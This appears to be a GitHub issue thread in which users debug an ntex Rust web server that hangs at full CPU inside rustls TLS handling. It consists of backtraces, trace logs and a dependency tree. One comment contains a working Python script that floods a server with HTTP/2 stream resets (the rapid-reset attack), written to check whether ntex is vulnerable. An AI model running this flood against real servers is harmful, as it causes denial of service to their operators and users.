#3 0x0000559642197e5e in ntex_io::buf::Stack::write_buf ()
#4 0x000055964216f024 in <ntex_util::time::Timeout<T> as core::future::future::Future>::poll ()
#5 0x00005596421e3f19 in _ZN81_$LT$ntex_tls..rustls..TlsAcceptor$u20$as$u20$ntex_io..FilterFactory$LT$F$GT$$GT$6create28_$u7b$$u7b$closure$u7d$$u7d$17ha53512d8b89a91c7E.llvm.12091099501399050402 ()
#6 0x00005596421ae70b in <ntex_service::and_then::AndThenServiceResponse<A,B,Req> as core::future::future::Future>::poll ()
#7 0x000055964217f398 in <ntex::server::service::StreamService<T> as ntex_service::Service<(core::option::Option<ntex::server::counter::CounterGuard>,ntex::server::service::ServerMessage)>>::call::{{closure}} ()
#8 0x000055964218c77b in tokio::loom::std::unsafe_cell::UnsafeCell<T>::with_mut ()
#9 0x00005596421ef8d6 in tokio::runtime::task::core::Core<T,S>::poll ()
#10 0x00005596421bd386 in tokio::runtime::task::harness::Harness<T,S>::poll ()
#11 0x0000559642580208 in tokio::task::local::LocalSet::tick ()
#12 0x0000559642557a11 in std::thread::local::LocalKey<T>::with ()
#13 0x000055964255d811 in <core::pin::Pin<P> as core::future::future::Future>::poll ()
#14 0x000055964255ed9e in tokio::runtime::scheduler::current_thread::Context::enter ()
#15 0x0000559642564aff in tokio::macros::scoped_tls::ScopedKey<T>::set ()
#16 0x000055964255ea8f in tokio::runtime::scheduler::current_thread::CurrentThread::block_on ()
#17 0x000055964255b01c in ntex_rt::tokio::block_on ()
#18 0x0000559642567e9c in std::sys_common::backtrace::__rust_begin_short_backtrace ()
#19 0x000055964255cb49 in core::ops::function::FnOnce::call_once{{vtable.shim}} ()
#20 0x00005596425cc073 in alloc::boxed::{impl#45}::call_once<(), dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global> () at library/alloc/src/boxed.rs:1988
#21 alloc::boxed::{impl#45}::call_once<(), alloc::boxed::Box<dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global>, alloc::alloc::Global> () at library/alloc/src/boxed.rs:1988
#22 std::sys::unix::thread::{impl#2}::new::thread_start () at library/std/src/sys/unix/thread.rs:108
#23 0x00007f3adbfb4b43 in start_thread (arg=<optimized out>) at ./nptl/pthread_create.c:442
#24 0x00007f3adc046a00 in clone3 () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
Thread 2 (Thread 0x7f3adbb31640 (LWP 1135) "tracing-appende"):
#0 syscall () at ../sysdeps/unix/sysv/linux/x86_64/syscall.S:38
#1 0x00005596425bcb44 in std::sys::unix::futex::futex_wait () at library/std/src/sys/unix/futex.rs:62
#2 std::sys_common::thread_parking::futex::Parker::park () at library/std/src/sys_common/thread_parking/futex.rs:52
#3 std::thread::park () at library/std/src/thread/mod.rs:1007
#4 0x00005596422169f6 in crossbeam_channel::context::Context::wait_until ()
#5 0x0000559642216b52 in crossbeam_channel::context::Context::with::{{closure}} ()
#6 0x00005596422173f5 in crossbeam_channel::flavors::array::Channel<T>::recv ()
#7 0x000055964220b917 in crossbeam_channel::channel::Receiver<T>::recv ()
#8 0x00005596421fe9ff in std::sys_common::backtrace::__rust_begin_short_backtrace ()
#9 0x00005596422182c9 in core::ops::function::FnOnce::call_once{{vtable.shim}} ()
#10 0x00005596425cc073 in alloc::boxed::{impl#45}::call_once<(), dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global> () at library/alloc/src/boxed.rs:1988
#11 alloc::boxed::{impl#45}::call_once<(), alloc::boxed::Box<dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global>, alloc::alloc::Global> () at library/alloc/src/boxed.rs:1988
#12 std::sys::unix::thread::{impl#2}::new::thread_start () at library/std/src/sys/unix/thread.rs:108
#13 0x00007f3adbfb4b43 in start_thread (arg=<optimized out>) at ./nptl/pthread_create.c:442
#14 0x00007f3adc046a00 in clone3 () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
Thread 1 (Thread 0x7f3adbf1bc40 (LWP 1133) "blog-server"):
#0 0x00007f3adc045fde in epoll_wait (epfd=3, events=0x559643dc70b0, maxevents=1024, timeout=-1) at ../sysdeps/unix/sysv/linux/epoll_wait.c:30
#1 0x000055964259a54a in mio::poll::Poll::poll ()
#2 0x000055964258be8d in _ZN5tokio7runtime2io6Driver4turn17hcb5899971d60167aE.llvm.15018729562679970595 ()
#3 0x0000559642570230 in _ZN5tokio7runtime4time6Driver13park_internal17hadf88da80d26a5e1E.llvm.17727724984771245442 ()
#4 0x000055964257f5e6 in tokio::runtime::scheduler::current_thread::Context::park ()
#5 0x000055964217b33f in tokio::macros::scoped_tls::ScopedKey<T>::set ()
#6 0x00005596421f050f in tokio::runtime::scheduler::current_thread::CurrentThread::block_on ()
#7 0x00005596421ad92a in tokio::runtime::runtime::Runtime::block_on ()
#8 0x00005596421e595f in blog_server::main ()
#9 0x00005596421a7cd3 in std::sys_common::backtrace::__rust_begin_short_backtrace ()
#10 0x00005596421aed19 in _ZN3std2rt10lang_start28_$u7b$$u7b$closure$u7d$$u7d$17hdf7435f4c95dc61dE.llvm.12128131917460050004 ()
#11 0x00005596425bc24c in core::ops::function::impls::{impl#2}::call_once<(), (dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe)> () at library/core/src/ops/function.rs:287
#12 std::panicking::try::do_call<&(dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe), i32> () at library/std/src/panicking.rs:483
#13 std::panicking::try<i32, &(dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe)> () at library/std/src/panicking.rs:447
#14 std::panic::catch_unwind<&(dyn core::ops::function::Fn<(), Output=i32> + core::marker::Sync + core::panic::unwind_safe::RefUnwindSafe), i32> () at library/std/src/panic.rs:140
#15 std::rt::lang_start_internal::{closure#2} () at library/std/src/rt.rs:148
#16 std::panicking::try::do_call<std::rt::lang_start_internal::{closure_env#2}, isize> () at library/std/src/panicking.rs:483
#17 std::panicking::try<isize, std::rt::lang_start_internal::{closure_env#2}> () at library/std/src/panicking.rs:447
#18 std::panic::catch_unwind<std::rt::lang_start_internal::{closure_env#2}, isize> () at library/std/src/panic.rs:140
#19 std::rt::lang_start_internal () at library/std/src/rt.rs:148
from ntex.
Is it happening when handling request ?
Are you sure you don't get ddos or scanned with a tools like nikto
for example ?
from ntex.
Is it happening when handling request ? Are you sure you don't get ddos or scanned with a tools like
nikto
for example ?
I'm not sure. I checked /proc/{pid}/fd/ directory and found it increased slowly, about 300 per day, after this happened.
from ntex.
Can you log requests when it's happening ?
I tried to reproduce it on my server that have kind of similar setup by ddosing it but i wasn't able to reproduce it.
The cpu usage was arround 10% there is my code https://github.com/nxthat/nhsf the only difference i see is the TLS can you try with openssl instead of rustls ?
from ntex.
These are logs of the last request it output something:
2023-04-06 11:56:47.928 TRACE ntex_io::ioref: force close io stream object
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-io-0.2.9/src/ioref.rs:61 on ntex-rt:worker:0 ThreadId(3)
2023-04-06 12:29:14.884 TRACE polling::epoll: new events: epoll_fd=12, res=1
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.6.0/src/epoll.rs:180 on ntex-server accept loop ThreadId(4)
2023-04-06 12:29:14.884 TRACE polling::epoll: modify: epoll_fd=12, fd=13, ev=Event { key: 18446744073709551615, readable: true, writable: false }
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.6.0/src/epoll.rs:110 on ntex-server accept loop ThreadId(4)
2023-04-06 12:29:14.884 TRACE ntex::server::accept: Accepting connection: Tcp(TcpStream { addr: 64.176.37.168:443, peer: 199.30.231.5:53038, fd: 9 }) bp: false
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-0.6.5/src/server/accept.rs:376 on ntex-server accept loop ThreadId(4)
2023-04-06 12:29:14.884 TRACE ntex::server::accept: Sent to worker 0
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-0.6.5/src/server/accept.rs:411 on ntex-server accept loop ThreadId(4)
2023-04-06 12:29:14.884 TRACE polling::epoll: modify: epoll_fd=12, fd=16, ev=Event { key: 1, readable: true, writable: false }
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.6.0/src/epoll.rs:110 on ntex-server accept loop ThreadId(4)
2023-04-06 12:29:14.884 TRACE polling: Poller::wait(_, None)
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.6.0/src/lib.rs:489 on ntex-server accept loop ThreadId(4)
2023-04-06 12:29:14.884 TRACE polling::epoll: wait: epoll_fd=12, timeout=None
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.6.0/src/epoll.rs:122 on ntex-server accept loop ThreadId(4)
2023-04-06 12:29:14.884 TRACE polling::epoll: modify: epoll_fd=12, fd=14, ev=Event { key: 18446744073709551615, readable: true, writable: false }
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.6.0/src/epoll.rs:110 on ntex-server accept loop ThreadId(4)
2023-04-06 12:29:14.885 TRACE ntex::server::worker: Got socket for service: "ntex-web-rustls-service-0.0.0.0:443"
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-0.6.5/src/server/worker.rs:488 on ntex-rt:worker:0 ThreadId(3)
2023-04-06 12:29:14.885 TRACE mio::poll: registering event source with poller: token=Token(905969682), interests=READABLE | WRITABLE
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/mio-0.8.6/src/poll.rs:532 on ntex-rt:worker:0 ThreadId(3)
2023-04-06 12:29:14.885 TRACE rustls::server::hs: we got a clienthello ClientHelloPayload { client_version: TLSv1_2, random: 784de781ed1f0422d34191f94b9c8e850e8692435deb34af8707a23f3d00ddb6, session_id: , cipher_suites: [TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_RSA_WITH_RC4_128_SHA, TLS_ECDHE_ECDSA_WITH_RC4_128_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_RC4_128_SHA, TLS_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA, TLS_RSA_WITH_3DES_EDE_CBC_SHA], compression_methods: [Null], extensions: [ServerName([ServerName { typ: HostName, payload: HostName((6261696c6f672e636e, DnsName("bailog.cn"))) }]), CertificateStatusRequest(OCSP(OCSPCertificateStatusRequest { responder_ids: [], extensions: })), NamedGroups([secp256r1, secp384r1, secp521r1]), ECPointFormats([Uncompressed]), SignatureAlgorithms([RSA_PKCS1_SHA512, ECDSA_NISTP521_SHA512, Unknown(1538), RSA_PKCS1_SHA384, ECDSA_NISTP384_SHA384, Unknown(1282), RSA_PKCS1_SHA256, ECDSA_NISTP256_SHA256, Unknown(1026), Unknown(769), Unknown(771), Unknown(770), RSA_PKCS1_SHA1, ECDSA_SHA1_Legacy, Unknown(514), Unknown(257), Unknown(259), Unknown(258)]), Unknown(UnknownExtension { typ: RenegotiationInfo, payload: 00 }), Unknown(UnknownExtension { typ: Heartbeat, payload: 01 }), SignedCertificateTimestampRequest] }
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.8/src/server/hs.rs:456 on ntex-rt:worker:0 ThreadId(3)
2023-04-06 12:29:14.885 TRACE rustls::server::server_conn: sni Some(DnsName("bailog.cn"))
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.8/src/server/server_conn.rs:127 on ntex-rt:worker:0 ThreadId(3)
2023-04-06 12:29:14.886 TRACE rustls::server::server_conn: sig schemes [RSA_PKCS1_SHA512, ECDSA_NISTP521_SHA512, Unknown(1538), RSA_PKCS1_SHA384, ECDSA_NISTP384_SHA384, Unknown(1282), RSA_PKCS1_SHA256, ECDSA_NISTP256_SHA256, Unknown(1026), Unknown(769), Unknown(771), Unknown(770), RSA_PKCS1_SHA1, ECDSA_SHA1_Legacy, Unknown(514), Unknown(257), Unknown(259), Unknown(258)]
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.8/src/server/server_conn.rs:128 on ntex-rt:worker:0 ThreadId(3)
2023-04-06 12:29:14.886 TRACE rustls::server::server_conn: alpn protocols None
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.8/src/server/server_conn.rs:129 on ntex-rt:worker:0 ThreadId(3)
2023-04-06 12:29:14.886 TRACE rustls::server::server_conn: cipher suites [TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_RSA_WITH_RC4_128_SHA, TLS_ECDHE_ECDSA_WITH_RC4_128_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_RC4_128_SHA, TLS_RSA_WITH_AES_128_CBC_SHA, TLS_RSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA, TLS_RSA_WITH_3DES_EDE_CBC_SHA]
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.8/src/server/server_conn.rs:130 on ntex-rt:worker:0 ThreadId(3)
2023-04-06 12:29:14.886 DEBUG rustls::server::hs: decided upon suite TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.8/src/server/hs.rs:382 on ntex-rt:worker:0 ThreadId(3)
2023-04-06 12:29:14.886 TRACE rustls::server::tls12::client_hello: namedgroups [secp256r1, secp384r1, secp521r1]
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.8/src/server/tls12.rs:83 on ntex-rt:worker:0 ThreadId(3)
2023-04-06 12:29:14.886 TRACE rustls::server::tls12::client_hello: ecpoints [Uncompressed]
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.8/src/server/tls12.rs:84 on ntex-rt:worker:0 ThreadId(3)
2023-04-06 12:29:14.886 TRACE rustls::server::tls12::client_hello: sending server hello Message { version: TLSv1_2, payload: Handshake { parsed: HandshakeMessagePayload { typ: ServerHello, payload: ServerHello(ServerHelloPayload { legacy_version: TLSv1_2, random: 4de416c0718e2857048a878e960e7465ae7a3dfc94b7e6ba444f574e47524401, session_id: 1612b15c3fbceff12f88bcefcba19f3bb2574bda0f71b049c6d22c5b58a4dca4, cipher_suite: TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, compression_method: Null, extensions: [ServerNameAck, RenegotiationInfo()] }) }, encoded: 0200005103034de416c0718e2857048a878e960e7465ae7a3dfc94b7e6ba444f574e47524401201612b15c3fbceff12f88bcefcba19f3bb2574bda0f71b049c6d22c5b58a4dca4c02f00000900000000ff01000100 } }
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/rustls-0.20.8/src/server/tls12.rs:352 on ntex-rt:worker:0 ThreadId(3)
2023-04-06 12:29:14.887 TRACE ntex_io::tasks: new 177 bytes available, wakeup dispatcher
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-io-0.2.9/src/tasks.rs:55 on ntex-rt:worker:0 ThreadId(3)
2023-04-06 12:29:14.887 TRACE ntex_io::io: waking up io read task
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-io-0.2.9/src/io.rs:430 on ntex-rt:worker:0 ThreadId(3)
2023-04-06 12:29:14.986 TRACE ntex_io::tasks: new 7 bytes available, wakeup dispatcher
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-io-0.2.9/src/tasks.rs:55 on ntex-rt:worker:0 ThreadId(3)
2023-04-06 12:29:14.986 TRACE ntex_io::io: waking up io read task
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-io-0.2.9/src/io.rs:430 on ntex-rt:worker:0 ThreadId(3)
After that point it outputs things like these and cannot finish request processing:
2023-04-06 12:35:07.901 TRACE polling::epoll: new events: epoll_fd=12, res=1
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.6.0/src/epoll.rs:180 on ntex-server accept loop ThreadId(4)
2023-04-06 12:35:07.902 TRACE polling::epoll: modify: epoll_fd=12, fd=13, ev=Event { key: 18446744073709551615, readable: true, writable: false }
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.6.0/src/epoll.rs:110 on ntex-server accept loop ThreadId(4)
2023-04-06 12:35:07.902 TRACE ntex::server::accept: Accepting connection: Tcp(TcpStream { addr: 64.176.37.168:443, peer: 192.241.195.46:53864, fd: 22 }) bp: false
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-0.6.5/src/server/accept.rs:376 on ntex-server accept loop ThreadId(4)
2023-04-06 12:35:07.902 TRACE ntex::server::accept: Sent to worker 0
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/ntex-0.6.5/src/server/accept.rs:411 on ntex-server accept loop ThreadId(4)
2023-04-06 12:35:07.902 TRACE polling::epoll: modify: epoll_fd=12, fd=16, ev=Event { key: 1, readable: true, writable: false }
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.6.0/src/epoll.rs:110 on ntex-server accept loop ThreadId(4)
2023-04-06 12:35:07.902 TRACE polling: Poller::wait(_, None)
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.6.0/src/lib.rs:489 on ntex-server accept loop ThreadId(4)
2023-04-06 12:35:07.902 TRACE polling::epoll: wait: epoll_fd=12, timeout=None
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.6.0/src/epoll.rs:122 on ntex-server accept loop ThreadId(4)
2023-04-06 12:35:07.902 TRACE polling::epoll: modify: epoll_fd=12, fd=14, ev=Event { key: 18446744073709551615, readable: true, writable: false }
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.6.0/src/epoll.rs:110 on ntex-server accept loop ThreadId(4)
2023-04-06 12:35:18.017 TRACE polling::epoll: new events: epoll_fd=12, res=1
at /root/.cargo/registry/src/github.com-1ecc6299db9ec823/polling-2.6.0/src/epoll.rs:180 on ntex-server accept loop ThreadId(4)
from ntex.
I meant the HTTP requests
from ntex.
I meant the HTTP requests
I have setted the log level to trace
, but the request that causing this problem couldn't be outputed.
from ntex.
What if you use a custom Middleware or put it binding a nginx that will log them ? You can remove nginx afterward it's just to be able to log http requests. We need to gather information somehow..
from ntex.
This may be the issue since ntex use a forked version of hyperium/h2 I believe.
from ntex.
blog-server.log.2023-04-11.log
Yestoday on my another server it happened again, after over two weeks. It's also a single core server running Ubuntu 22.04.
This is the full trace log of yestoday. It happened around 12:44.
from ntex.
This is my attempt to reproduce the CVE, not totally sure about it tho:
import socket
import ssl
import certifi
import h2.connection
import h2.events
import _thread
SERVER_NAME = '127.0.0.1'
SERVER_PORT = 8443
# generic socket and ssl configuration
socket.setdefaulttimeout(15)
ctx = ssl.create_default_context(cafile=certifi.where())
ctx.set_alpn_protocols(['h2'])
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.load_verify_locations("cert.pem")
# open a socket to the server and initiate TLS/SSL
s = socket.create_connection((SERVER_NAME, SERVER_PORT))
s = ctx.wrap_socket(s, server_hostname=SERVER_NAME)
c = h2.connection.H2Connection()
c.initiate_connection()
s.sendall(c.data_to_send())
def headers(h2_conn, stream_id):
headers = [
(':method', 'GET'),
(':path', '/'),
(':authority', SERVER_NAME),
(':scheme', 'https'),
('accept-encoding', 'gzip, deflate, br')
]
h2_conn.send_headers(stream_id, headers)
def rst_stream(h2_conn, stream_id):
h2_conn.reset_stream(stream_id)
def reset_flood(h2_conn):
for i in range(1, 20000):
if i % 2 == 0:
continue
headers(h2_conn, i)
rst_stream(h2_conn, i)
def send(thread_name):
while True:
# send a GET request with headers and reset stream
print(f"{thread_name}: Sending request")
stream_id = c.get_next_available_stream_id()
headers(c, stream_id)
data = c.data_to_send()
s.sendall(data)
reset_flood(c)
if __name__ == '__main__':
for i in range(0, 400):
try:
_thread.start_new_thread(send, ("Thread-" + str(i),))
except:
print("Error: Can not start thread")
while True:
pass
# close the connection and socket
c.close_connection()
s.sendall(c.data_to_send())
s.close()
I tested it against rustls and openssl implementation from the examples and it's doesn't seems that ntex is affected.
from ntex.
blog-server.log.2023-04-11.log
Yestoday on my another server it happened again, after over two weeks. It's also a single core server running Ubuntu 22.04.
This is the full trace log of yestoday. It happened around 12:44.
Looks like you are getting scanned:
οΏ½[2m2023-04-11 12:34:14.480οΏ½[0m οΏ½[32m INFOοΏ½[0m οΏ½[1;32mntex::web::middleware::loggerοΏ½[0mοΏ½[32m: οΏ½[32m205.210.31.161:50126 "GET / HTTP/1.0" 200 552 "-" "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: [email protected]" 0.001050οΏ½[0m
But i don't see any request flooding that's weird
from ntex.
Is is similar to this issue: #103
from ntex.
could you try openssl instead if rustls?
from ntex.
some hint from rustls: rustls/rustls#1283 (comment)
from ntex.
I also encountered this issue, which 100% thread stack information is this!! o(β₯οΉβ₯)o
#0 0x000055dfe1a2c5a6 in rustls::common_state::CommonState::is_handshaking ()
#1 0x000055dfe1811c6a in rustls::conn::ConnectionCommon<Data>::complete_io ()
#2 0x000055dfe18195b7 in ntex_io::buf::Stack::write_buf::{{closure}} ()
#3 0x000055dfe181cdc1 in <ntex_tls::rustls::TlsAcceptor as ntex_io::FilterFactory<F>>::create::{{closure}} ()
#4 0x000055dfe1821276 in <ntex_service::ctx::ServiceCall<S,Req> as core::future::future::Future>::poll ()
#5 0x000055dfe17d1569 in <ntex_service::and_then::AndThenServiceResponse<A,B,Req> as core::future::future::Future>::poll ()
#6 0x000055dfe1823147 in <ntex_service::ctx::ServiceCall<S,Req> as core::future::future::Future>::poll ()
#7 0x000055dfe17e495c in <ntex::server::service::StreamService<T> as ntex_service::Service<(core::option::Option<ntex::server::counter::CounterGuard>,ntex::server::service::ServerMessage)>>::call::{{closure}} ()
#8 0x000055dfe18cab21 in <ntex_service::pipeline::PipelineCall<S,R> as core::future::future::Future>::poll ()
#9 0x000055dfe18e075e in <ntex::server::worker::Worker as core::future::future::Future>::poll::{{closure}} ()
#10 0x0000000000000002 in ?? ()
#11 0x00007f5eb0cb1120 in ?? ()
#12 0x00007f5eb0cb11c0 in ?? ()
#13 0x0000000000000001 in ?? ()
#14 0x000055dfe18c4537 in tokio::runtime::task::raw::poll ()
#15 0x000055dfe1c0b8ab in tokio::task::local::LocalSet::tick ()
#16 0x000055dfe1a9cebc in tokio::task::local::LocalSet::run_until::{{closure}} ()
#17 0x000055dfe1a99969 in std::sys_common::backtrace::__rust_begin_short_backtrace ()
#18 0x000055dfe1a9a9a9 in core::ops::function::FnOnce::call_once{{vtable.shim}} ()
#19 0x000055dfe1d44d15 in alloc::boxed::{impl#47}::call_once<(), dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global> () at library/alloc/src/boxed.rs:1993
#20 alloc::boxed::{impl#47}::call_once<(), alloc::boxed::Box<dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global>, alloc::alloc::Global> () at library/alloc/src/boxed.rs:1993
#21 std::sys::unix::thread::{impl#2}::new::thread_start () at library/std/src/sys/unix/thread.rs:108
#22 0x00007f5ef93feac3 in start_thread (arg=<optimized out>) at ./nptl/pthread_create.c:442
#23 0x00007f5ef9490a40 in clone3 () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
It's a dead cycle ~!
from ntex.
Already under testing.. waiting for test results.. thanks
from ntex.
After a day of debugging,the problem persists.
Here is the thread call stack:
(gdb) thread 4
[Switching to thread 4 (Thread 0x7f2e907a1000 (LWP 1953846))]
#0 0x0000564b1405a610 in rustls::common_state::CommonState::is_handshaking ()
(gdb) bt
#0 0x0000564b1405a610 in rustls::common_state::CommonState::is_handshaking ()
#1 0x0000564b13e279e0 in rustls::conn::ConnectionCommon<Data>::complete_io ()
#2 0x0000564b13e2f68e in ntex_io::buf::Stack::write_buf::{{closure}} ()
#3 0x0000564b13e32dca in <ntex_tls::rustls::TlsAcceptor as ntex_io::FilterFactory<F>>::create::{{closure}} ()
#4 0x0000564b13e38f86 in <ntex_service::ctx::ServiceCall<S,Req> as core::future::future::Future>::poll ()
#5 0x0000564b13de6bf9 in <ntex_service::and_then::AndThenServiceResponse<A,B,Req> as core::future::future::Future>::poll ()
#6 0x0000564b13e37a67 in <ntex_service::ctx::ServiceCall<S,Req> as core::future::future::Future>::poll ()
#7 0x0000564b13dfd2dc in <ntex::server::service::StreamService<T> as ntex_service::Service<(core::option::Option<ntex::server::counter::CounterGuard>,ntex::server::service::ServerMessage)>>::call::{{closure}} ()
#8 0x0000564b13ee4911 in <ntex_service::pipeline::PipelineCall<S,R> as core::future::future::Future>::poll ()
#9 0x0000564b13efe4ce in <ntex::server::worker::Worker as core::future::future::Future>::poll::{{closure}} ()
#10 0x0000000000000002 in ?? ()
#11 0x00007f2e8803daa0 in ?? ()
#12 0x00007f2e8803db40 in ?? ()
#13 0x0000000000000001 in ?? ()
#14 0x0000564b13edd5b7 in tokio::runtime::task::raw::poll ()
#15 0x0000564b1424ed8b in tokio::task::local::LocalSet::tick ()
#16 0x0000564b140de9c7 in tokio::task::local::LocalSet::run_until::{{closure}} ()
#17 0x0000564b140db0a9 in std::sys_common::backtrace::__rust_begin_short_backtrace ()
#18 0x0000564b140dc0de in core::ops::function::FnOnce::call_once{{vtable.shim}} ()
#19 0x0000564b14389ae5 in alloc::boxed::{impl#47}::call_once<(), dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global> () at library/alloc/src/boxed.rs:1993
#20 alloc::boxed::{impl#47}::call_once<(), alloc::boxed::Box<dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global>, alloc::alloc::Global> () at library/alloc/src/boxed.rs:1993
#21 std::sys::unix::thread::{impl#2}::new::thread_start () at library/std/src/sys/unix/thread.rs:108
#22 0x00007f2ec85fdac3 in start_thread (arg=<optimized out>) at ./nptl/pthread_create.c:442
#23 0x00007f2ec868fa40 in clone3 () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
cargo tree:
βββ aes-gcm v0.10.3
β βββ aead v0.5.2
β β βββ crypto-common v0.1.6
β β β βββ generic-array v0.14.7
β β β β βββ typenum v1.17.0
β β β β [build-dependencies]
β β β β βββ version_check v0.9.4
β β β βββ rand_core v0.6.4
β β β β βββ getrandom v0.2.11
β β β β βββ cfg-if v1.0.0
β β β β βββ libc v0.2.150
β β β βββ typenum v1.17.0
β β βββ generic-array v0.14.7 (*)
β βββ aes v0.8.3
β β βββ cfg-if v1.0.0
β β βββ cipher v0.4.4
β β β βββ crypto-common v0.1.6 (*)
β β β βββ inout v0.1.3
β β β βββ generic-array v0.14.7 (*)
β β βββ cpufeatures v0.2.11
β βββ cipher v0.4.4 (*)
β βββ ctr v0.9.2
β β βββ cipher v0.4.4 (*)
β βββ ghash v0.5.0
β β βββ opaque-debug v0.3.0
β β βββ polyval v0.6.1
β β βββ cfg-if v1.0.0
β β βββ cpufeatures v0.2.11
β β βββ opaque-debug v0.3.0
β β βββ universal-hash v0.5.1
β β βββ crypto-common v0.1.6 (*)
β β βββ subtle v2.5.0
β βββ subtle v2.5.0
βββ anyhow v1.0.75
βββ aqueue v1.3.5
β βββ async-lock v2.6.0
β β βββ event-listener v2.5.3
β β βββ futures-lite v1.13.0
β β βββ fastrand v1.9.0
β β βββ futures-core v0.3.29
β β βββ futures-io v0.3.29
β β βββ memchr v2.6.4
β β βββ parking v2.2.0
β β βββ pin-project-lite v0.2.13
β β βββ waker-fn v1.1.1
β βββ async-trait v0.1.74 (proc-macro)
β βββ proc-macro2 v1.0.69
β β βββ unicode-ident v1.0.12
β βββ quote v1.0.33
β β βββ proc-macro2 v1.0.69 (*)
β βββ syn v2.0.39
β βββ proc-macro2 v1.0.69 (*)
β βββ quote v1.0.33 (*)
β βββ unicode-ident v1.0.12
βββ async-trait v0.1.74 (proc-macro) (*)
βββ base64 v0.21.5
βββ clap v4.4.8
β βββ clap_builder v4.4.8
β β βββ anstream v0.6.4
β β β βββ anstyle v1.0.4
β β β βββ anstyle-parse v0.2.2
β β β β βββ utf8parse v0.2.1
β β β βββ anstyle-query v1.0.0
β β β βββ colorchoice v1.0.0
β β β βββ utf8parse v0.2.1
β β βββ anstyle v1.0.4
β β βββ clap_lex v0.6.0
β β βββ strsim v0.10.0
β βββ clap_derive v4.4.7 (proc-macro)
β βββ heck v0.4.1
β βββ proc-macro2 v1.0.69 (*)
β βββ quote v1.0.33 (*)
β βββ syn v2.0.39 (*)
βββ clia-ntex-cors v0.4.0
β βββ derive_more v0.99.17 (proc-macro)
β β βββ convert_case v0.4.0
β β βββ proc-macro2 v1.0.69 (*)
β β βββ quote v1.0.33 (*)
β β βββ syn v1.0.109
β β βββ proc-macro2 v1.0.69 (*)
β β βββ quote v1.0.33 (*)
β β βββ unicode-ident v1.0.12
β β [build-dependencies]
β β βββ rustc_version v0.4.0
β β βββ semver v1.0.20
β βββ futures v0.3.29
β β βββ futures-channel v0.3.29
β β β βββ futures-core v0.3.29
β β β βββ futures-sink v0.3.29
